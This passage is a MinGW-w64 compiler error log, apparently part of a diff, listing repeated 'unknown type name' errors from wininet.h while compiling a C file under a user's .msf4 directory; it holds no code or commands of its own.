-/usr/share/mingw-w64/include/wininet.h:263:5: error: unknown type name ‘LPWSTR’ - 263 | LPWSTR lpszUrlPath; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:264:5: error: unknown type name ‘DWORD’ - 264 | DWORD dwUrlPathLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:265:5: error: unknown type name ‘LPWSTR’ - 265 | LPWSTR lpszExtraInfo; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:266:5: error: unknown type name ‘DWORD’ - 266 | DWORD dwExtraInfoLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:273:5: error: unknown type name ‘FILETIME’ - 273 | FILETIME ftExpiry; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:274:5: error: unknown type name ‘FILETIME’ - 274 | FILETIME ftStart; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:275:5: error: unknown type name ‘LPTSTR’ - 275 | LPTSTR lpszSubjectInfo; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:276:5: error: unknown type name ‘LPTSTR’ - 276 | LPTSTR lpszIssuerInfo; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:277:5: error: unknown type name ‘LPTSTR’ - 277 | LPTSTR lpszProtocolName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:278:5: error: unknown type name ‘LPTSTR’ - 278 | LPTSTR lpszSignatureAlgName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:279:5: error: unknown type name ‘LPTSTR’ - 279 | LPTSTR lpszEncryptionAlgName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:280:5: error: unknown type name ‘DWORD’ - 280 | DWORD dwKeySize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:284:5: error: unknown type name ‘DWORD’ - 284 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:286:5: error: unknown type name ‘LPCSTR’ - 286 | LPCSTR lpcszHeader; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:287:5: error: unknown type name ‘DWORD’ - 287 | DWORD dwHeadersLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:288:5: error: unknown type name ‘DWORD’ - 288 | DWORD dwHeadersTotal; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:289:5: error: unknown type name ‘LPVOID’ - 289 | LPVOID lpvBuffer; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:290:5: error: unknown type name ‘DWORD’ - 290 | DWORD dwBufferLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:291:5: error: unknown type name ‘DWORD’ - 291 | DWORD dwBufferTotal; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:292:5: error: unknown type name ‘DWORD’ - 292 | DWORD dwOffsetLow; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:293:5: error: unknown type name ‘DWORD’ - 293 | DWORD dwOffsetHigh; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:297:5: error: unknown type name ‘DWORD’ - 297 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:299:5: error: unknown type name ‘LPCWSTR’ - 299 | LPCWSTR lpcszHeader; - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:300:5: error: unknown type name ‘DWORD’ - 300 | DWORD dwHeadersLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:301:5: error: unknown type name ‘DWORD’ - 301 | DWORD dwHeadersTotal; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:302:5: error: unknown type name ‘LPVOID’ - 302 | LPVOID lpvBuffer; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:303:5: error: unknown type name ‘DWORD’ - 303 | DWORD dwBufferLength; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:304:5: error: unknown type name ‘DWORD’ - 304 | DWORD dwBufferTotal; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:305:5: error: unknown type name ‘DWORD’ - 305 | DWORD dwOffsetLow; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:306:5: error: unknown type name ‘DWORD’ - 306 | DWORD dwOffsetHigh; - | ^~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:315:3: error: unknown type name ‘EXTERN_C’ - 315 | BOOLAPI InternetTimeFromSystemTime(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:315:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 315 | BOOLAPI InternetTimeFromSystemTime(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:315:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:318:3: error: unknown type name ‘EXTERN_C’ - 318 | BOOLAPI InternetTimeFromSystemTimeA(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:318:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 318 | BOOLAPI InternetTimeFromSystemTimeA(CONST SYSTEMTIME *pst,DWORD dwRFC,LPSTR lpszTime,DWORD cbTime); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:318:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:319:3: error: unknown type name ‘EXTERN_C’ - 319 | BOOLAPI InternetTimeFromSystemTimeW(CONST SYSTEMTIME *pst,DWORD dwRFC,LPWSTR lpszTime,DWORD cbTime); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:319:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 319 | BOOLAPI InternetTimeFromSystemTimeW(CONST SYSTEMTIME *pst,DWORD dwRFC,LPWSTR lpszTime,DWORD cbTime); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:319:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:332:3: error: unknown type name ‘EXTERN_C’ - 332 | BOOLAPI InternetTimeToSystemTime(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:332:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 332 | BOOLAPI InternetTimeToSystemTime(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:332:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:335:3: error: unknown type name ‘EXTERN_C’ - 335 | BOOLAPI InternetTimeToSystemTimeA(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:335:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 335 | BOOLAPI InternetTimeToSystemTimeA(LPCSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:335:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:336:3: error: unknown type name ‘EXTERN_C’ - 336 | BOOLAPI InternetTimeToSystemTimeW(LPCWSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:336:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 336 | BOOLAPI InternetTimeToSystemTimeW(LPCWSTR lpszTime,SYSTEMTIME *pst,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:336:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:337:3: error: unknown type name ‘EXTERN_C’ - 337 | BOOLAPI InternetCrackUrlA(LPCSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSA lpUrlComponents); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:337:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 337 | BOOLAPI InternetCrackUrlA(LPCSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSA lpUrlComponents); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:337:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:338:3: error: unknown type name ‘EXTERN_C’ - 338 | BOOLAPI InternetCrackUrlW(LPCWSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSW lpUrlComponents); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:338:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 338 | BOOLAPI InternetCrackUrlW(LPCWSTR lpszUrl,DWORD dwUrlLength,DWORD dwFlags,LPURL_COMPONENTSW lpUrlComponents); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:338:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:339:3: error: unknown type name ‘EXTERN_C’ - 339 | BOOLAPI InternetCreateUrlA(LPURL_COMPONENTSA lpUrlComponents,DWORD dwFlags,LPSTR lpszUrl,LPDWORD lpdwUrlLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:339:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 339 | BOOLAPI InternetCreateUrlA(LPURL_COMPONENTSA lpUrlComponents,DWORD dwFlags,LPSTR lpszUrl,LPDWORD lpdwUrlLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:339:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:340:3: error: unknown type name ‘EXTERN_C’ - 340 | BOOLAPI InternetCreateUrlW(LPURL_COMPONENTSW lpUrlComponents,DWORD dwFlags,LPWSTR lpszUrl,LPDWORD lpdwUrlLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:340:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 340 | BOOLAPI InternetCreateUrlW(LPURL_COMPONENTSW lpUrlComponents,DWORD dwFlags,LPWSTR lpszUrl,LPDWORD lpdwUrlLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:340:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:341:3: error: unknown type name ‘EXTERN_C’ - 341 | BOOLAPI InternetCanonicalizeUrlA(LPCSTR lpszUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:341:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 341 | BOOLAPI InternetCanonicalizeUrlA(LPCSTR lpszUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:341:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:342:3: error: unknown type name ‘EXTERN_C’ - 342 | BOOLAPI InternetCanonicalizeUrlW(LPCWSTR lpszUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:342:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 342 | BOOLAPI InternetCanonicalizeUrlW(LPCWSTR lpszUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:342:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:343:3: error: unknown type name ‘EXTERN_C’ - 343 | BOOLAPI InternetCombineUrlA(LPCSTR lpszBaseUrl,LPCSTR lpszRelativeUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:343:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 343 | BOOLAPI InternetCombineUrlA(LPCSTR lpszBaseUrl,LPCSTR lpszRelativeUrl,LPSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:343:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:344:3: error: unknown type name ‘EXTERN_C’ - 344 | BOOLAPI InternetCombineUrlW(LPCWSTR lpszBaseUrl,LPCWSTR lpszRelativeUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:344:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 344 | BOOLAPI InternetCombineUrlW(LPCWSTR lpszBaseUrl,LPCWSTR lpszRelativeUrl,LPWSTR lpszBuffer,LPDWORD lpdwBufferLength,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:344:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:358:3: error: unknown type name ‘EXTERN_C’ - 358 | INTERNETAPI_(HINTERNET) InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:358:3: error: expected ‘;’ before ‘HINTERNET’ - 358 | INTERNETAPI_(HINTERNET) InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:358:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenA’ - 358 | INTERNETAPI_(HINTERNET) InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags); - | ^~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:359:3: error: unknown type name ‘EXTERN_C’ - 359 | INTERNETAPI_(HINTERNET) InternetOpenW(LPCWSTR lpszAgent,DWORD dwAccessType,LPCWSTR lpszProxy,LPCWSTR lpszProxyBypass,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:359:3: error: expected ‘;’ before ‘HINTERNET’ - 359 | INTERNETAPI_(HINTERNET) InternetOpenW(LPCWSTR lpszAgent,DWORD dwAccessType,LPCWSTR lpszProxy,LPCWSTR lpszProxyBypass,DWORD dwFlags); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:359:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenW’ - 359 | INTERNETAPI_(HINTERNET) InternetOpenW(LPCWSTR lpszAgent,DWORD dwAccessType,LPCWSTR lpszProxy,LPCWSTR lpszProxyBypass,DWORD dwFlags); - | ^~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:372:3: error: unknown type name ‘EXTERN_C’ - 372 | BOOLAPI InternetCloseHandle(HINTERNET hInternet); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:372:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 372 | BOOLAPI InternetCloseHandle(HINTERNET hInternet); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:372:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:373:3: error: unknown type name ‘EXTERN_C’ - 373 | INTERNETAPI_(HINTERNET) InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:373:3: error: expected ‘;’ before ‘HINTERNET’ - 373 | INTERNETAPI_(HINTERNET) InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:373:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetConnectA’ - 373 | INTERNETAPI_(HINTERNET) InternetConnectA(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:374:3: error: unknown type name ‘EXTERN_C’ - 374 | INTERNETAPI_(HINTERNET) InternetConnectW(HINTERNET hInternet,LPCWSTR lpszServerName,INTERNET_PORT nServerPort,LPCWSTR lpszUserName,LPCWSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:374:3: error: expected ‘;’ before ‘HINTERNET’ - 374 | INTERNETAPI_(HINTERNET) InternetConnectW(HINTERNET hInternet,LPCWSTR lpszServerName,INTERNET_PORT nServerPort,LPCWSTR lpszUserName,LPCWSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:374:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetConnectW’ - 374 | INTERNETAPI_(HINTERNET) InternetConnectW(HINTERNET hInternet,LPCWSTR lpszServerName,INTERNET_PORT nServerPort,LPCWSTR lpszUserName,LPCWSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:383:3: error: unknown type name ‘EXTERN_C’ - 383 | INTERNETAPI_(HINTERNET) InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:383:3: error: expected ‘;’ before ‘HINTERNET’ - 383 | INTERNETAPI_(HINTERNET) InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:383:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenUrlA’ - 383 | INTERNETAPI_(HINTERNET) InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:384:3: error: unknown type name ‘EXTERN_C’ - 384 | INTERNETAPI_(HINTERNET) InternetOpenUrlW(HINTERNET hInternet,LPCWSTR lpszUrl,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:384:3: error: expected ‘;’ before ‘HINTERNET’ - 384 | INTERNETAPI_(HINTERNET) InternetOpenUrlW(HINTERNET hInternet,LPCWSTR lpszUrl,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:384:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘InternetOpenUrlW’ - 384 | INTERNETAPI_(HINTERNET) InternetOpenUrlW(HINTERNET hInternet,LPCWSTR lpszUrl,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:385:3: error: unknown type name ‘EXTERN_C’ - 385 | BOOLAPI InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:385:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 385 | BOOLAPI InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:385:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:386:3: error: unknown type name ‘EXTERN_C’ - 386 | INTERNETAPI_(WINBOOL) InternetReadFileExA(HINTERNET hFile,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:386:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 386 | INTERNETAPI_(WINBOOL) InternetReadFileExA(HINTERNET hFile,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:386:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:387:3: error: unknown type name ‘EXTERN_C’ - 387 | INTERNETAPI_(WINBOOL) InternetReadFileExW(HINTERNET hFile,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:387:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 387 | INTERNETAPI_(WINBOOL) InternetReadFileExW(HINTERNET hFile,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:387:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:399:3: error: unknown type name ‘EXTERN_C’ - 399 | INTERNETAPI_(DWORD) InternetSetFilePointer(HINTERNET hFile,LONG lDistanceToMove,PVOID pReserved,DWORD dwMoveMethod,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:399:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 399 | INTERNETAPI_(DWORD) InternetSetFilePointer(HINTERNET hFile,LONG lDistanceToMove,PVOID pReserved,DWORD dwMoveMethod,DWORD_PTR dwContext); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:399:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:400:3: error: unknown type name ‘EXTERN_C’ - 400 | BOOLAPI InternetWriteFile(HINTERNET hFile,LPCVOID lpBuffer,DWORD dwNumberOfBytesToWrite,LPDWORD lpdwNumberOfBytesWritten); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:400:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 400 | BOOLAPI InternetWriteFile(HINTERNET hFile,LPCVOID lpBuffer,DWORD dwNumberOfBytesToWrite,LPDWORD lpdwNumberOfBytesWritten); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:400:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:401:3: error: unknown type name ‘EXTERN_C’ - 401 | BOOLAPI InternetQueryDataAvailable(HINTERNET hFile,LPDWORD lpdwNumberOfBytesAvailable,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:401:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 401 | BOOLAPI InternetQueryDataAvailable(HINTERNET hFile,LPDWORD lpdwNumberOfBytesAvailable,DWORD dwFlags,DWORD_PTR dwContext); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:401:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:402:3: error: unknown type name ‘EXTERN_C’ - 402 | BOOLAPI InternetFindNextFileA(HINTERNET hFind,LPVOID lpvFindData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:402:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 402 | BOOLAPI InternetFindNextFileA(HINTERNET hFind,LPVOID lpvFindData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:402:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:403:3: error: unknown type name ‘EXTERN_C’ - 403 | BOOLAPI InternetFindNextFileW(HINTERNET hFind,LPVOID lpvFindData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:403:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 403 | BOOLAPI InternetFindNextFileW(HINTERNET hFind,LPVOID lpvFindData); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:403:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:404:3: error: unknown type name ‘EXTERN_C’ - 404 | BOOLAPI InternetQueryOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:404:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 404 | BOOLAPI InternetQueryOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:404:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:405:3: error: unknown type name ‘EXTERN_C’ - 405 | BOOLAPI InternetQueryOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:405:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 405 | BOOLAPI InternetQueryOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,LPDWORD lpdwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:405:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:406:3: error: unknown type name ‘EXTERN_C’ - 406 | BOOLAPI InternetSetOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:406:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 406 | BOOLAPI InternetSetOptionA(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:406:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:407:3: error: unknown type name ‘EXTERN_C’ - 407 | BOOLAPI InternetSetOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:407:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 407 | BOOLAPI InternetSetOptionW(HINTERNET hInternet,DWORD dwOption,LPVOID lpBuffer,DWORD dwBufferLength); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:407:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:408:3: error: unknown type name ‘EXTERN_C’ - 408 | BOOLAPI 